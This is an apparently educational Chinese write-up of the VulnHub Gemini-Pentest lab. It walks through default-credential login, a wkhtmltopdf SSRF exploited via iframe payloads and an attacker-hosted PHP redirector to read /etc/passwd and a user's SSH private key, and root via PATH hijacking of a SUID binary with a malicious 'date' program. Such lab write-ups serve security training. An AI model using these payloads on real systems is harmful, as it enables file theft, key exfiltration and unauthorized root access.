Gemini-Pentest靶场实战详解
字数 1224 2025-08-12 12:08:16

Gemini-Pentest靶场实战教学文档

0x00 环境配置

靶机下载地址:
https://download.vulnhub.com/geminiinc/Gemini-Pentest-v1.zip
运行环境: VMware Workstation
难度等级: 中+
目标: 获取root权限和Flag

0x01 主机发现与端口扫描

  1. 使用arp-scan发现靶机IP:

    arp-scan -l
    

    发现靶机IP为192.168.26.132

  2. 使用nmap进行端口扫描:

    nmap -sV -sC -p- 192.168.26.132
    

    扫描结果显示开放22(SSH)和80(HTTP)端口

0x02 信息收集

  1. 访问80端口HTTP服务,发现web页面
  2. 在test2目录下发现一个web应用页面,并提供了GitHub项目链接
  3. 应用功能:将用户配置信息和其他内容转换为PDF

0x03 开源项目信息泄漏

  1. 通过GitHub项目代码发现默认凭证:
    • 用户名:admin
    • 密码:admin123
  2. 使用该凭证成功登录,获得admin权限

0x04 存储型XSS漏洞

  1. 在admin面板中发现可以编辑用户个人信息
  2. 在"display name"字段测试存储型XSS成功
  3. 确认该漏洞无法直接用于进一步渗透

0x05 SSRF漏洞发现与利用

  1. 点击"export profile"导出PDF功能

  2. 从导出的PDF中发现服务器组件信息:

    • 组件名称:wkhtmltopdf
    • 版本信息:0.12.4
  3. 搜索发现该组件存在SSRF漏洞

  4. 漏洞利用原理:

    • 通过插入iframe标签触发SSRF
    • 可读取远程或本地文件

0x06 LFI漏洞利用

  1. 初始尝试读取本地文件失败:

    <iframe src="file:///etc/passwd"></iframe>
    
  2. 成功读取远程文件:

    • 在Kali上创建测试文件:
      echo "test SSRF" > /root/1.txt
      python3 -m http.server 80
      
    • 插入payload:
      <iframe src="http://192.168.26.20/1.txt"></iframe>
      
  3. 高级利用方法 - 读取本地文件:

    • 在攻击者服务器创建ssrfexp.php:
      <?php header('location:file://'.$_REQUEST['url']); ?>
      
    • 插入payload:
      <iframe height="2000" width="800" src=http://x.x.x.x/ssrfexp.php?url=/etc/passwd></iframe>
      
    • 成功读取/etc/passwd文件内容

0x07 SSH公钥认证利用

  1. 从/etc/passwd发现可登录用户gemini1
  2. 读取用户私钥文件:
    <iframe height="2000" width="800" src=http://x.x.x.x/ssrfexp.php?url=/home/gemini1/.ssh/id_rsa></iframe>
    
  3. 保存私钥到Kali并设置权限:
    chmod 400 id_rsa
    
  4. 使用私钥登录:
    ssh -i id_rsa gemini1@192.168.26.133
    

0x08 Linux环境变量提权

  1. 查找SUID文件:

    find / -user root -type f -perm -u+sx -ls 2>/dev/null
    

    发现/usr/bin/listinfo

  2. 分析listinfo功能:

    • 显示网卡配置
    • 检查22和80端口状态
    • 打印当前时间(date命令)
  3. 发现漏洞点:

    • date命令未使用绝对路径
  4. 创建恶意date程序:

    #include <sys/types.h>
    #include <unistd.h>
    #include <stdlib.h>
    
    int main() {
        setuid(0);
        setgid(0);
        system("/bin/bash");
    }
    

    编译:

    gcc date.c -o date
    
  5. 修改环境变量:

    export PATH=/home/gemini1:$PATH
    
  6. 执行listinfo触发提权,获得root shell

0x09 技术总结

  1. 渗透路径:

    • 默认凭证 → 登录后台
    • 发现SSRF漏洞 → 文件读取
    • 获取SSH私钥 → 用户权限
    • 环境变量滥用 → root权限
  2. 关键技术点:

    • wkhtmltopdf SSRF漏洞利用
    • SSH私钥认证绕过
    • Linux环境变量提权技术
  3. 学习要点:

    • 开源项目审计
    • 组件漏洞研究
    • 非常规提权方法

参考资料

  1. wkhtmltopdf文件包含漏洞
  2. SSRF到LFI
  3. Linux环境变量提权
Gemini-Pentest靶场实战教学文档 0x00 环境配置 靶机下载地址 : https://download.vulnhub.com/geminiinc/Gemini-Pentest-v1.zip 运行环境 : VMware Workstation 难度等级 : 中+ 目标 : 获取root权限和Flag 0x01 主机发现与端口扫描 使用 arp-scan 发现靶机IP: 发现靶机IP为192.168.26.132 使用nmap进行端口扫描: 扫描结果显示开放22(SSH)和80(HTTP)端口 0x02 信息收集 访问80端口HTTP服务,发现web页面 在test2目录下发现一个web应用页面,并提供了GitHub项目链接 应用功能:将用户配置信息和其他内容转换为PDF 0x03 开源项目信息泄漏 通过GitHub项目代码发现默认凭证: 用户名:admin 密码:admin123 使用该凭证成功登录,获得admin权限 0x04 存储型XSS漏洞 在admin面板中发现可以编辑用户个人信息 在"display name"字段测试存储型XSS成功 确认该漏洞无法直接用于进一步渗透 0x05 SSRF漏洞发现与利用 点击"export profile"导出PDF功能 从导出的PDF中发现服务器组件信息: 组件名称:wkhtmltopdf 版本信息:0.12.4 搜索发现该组件存在SSRF漏洞 漏洞利用原理: 通过插入iframe标签触发SSRF 可读取远程或本地文件 0x06 LFI漏洞利用 初始尝试读取本地文件失败: 成功读取远程文件: 在Kali上创建测试文件: 插入payload: 高级利用方法 - 读取本地文件: 在攻击者服务器创建ssrfexp.php: 插入payload: 成功读取/etc/passwd文件内容 0x07 SSH公钥认证利用 从/etc/passwd发现可登录用户gemini1 读取用户私钥文件: 保存私钥到Kali并设置权限: 使用私钥登录: 0x08 Linux环境变量提权 查找SUID文件: 发现/usr/bin/listinfo 分析listinfo功能: 显示网卡配置 检查22和80端口状态 打印当前时间(date命令) 发现漏洞点: date命令未使用绝对路径 创建恶意date程序: 编译: 修改环境变量: 执行listinfo触发提权,获得root shell 0x09 技术总结 渗透路径: 默认凭证 → 登录后台 发现SSRF漏洞 → 文件读取 获取SSH私钥 → 用户权限 环境变量滥用 → root权限 关键技术点: wkhtmltopdf SSRF漏洞利用 SSH私钥认证绕过 Linux环境变量提权技术 学习要点: 开源项目审计 组件漏洞研究 非常规提权方法 参考资料 wkhtmltopdf文件包含漏洞 SSRF到LFI Linux环境变量提权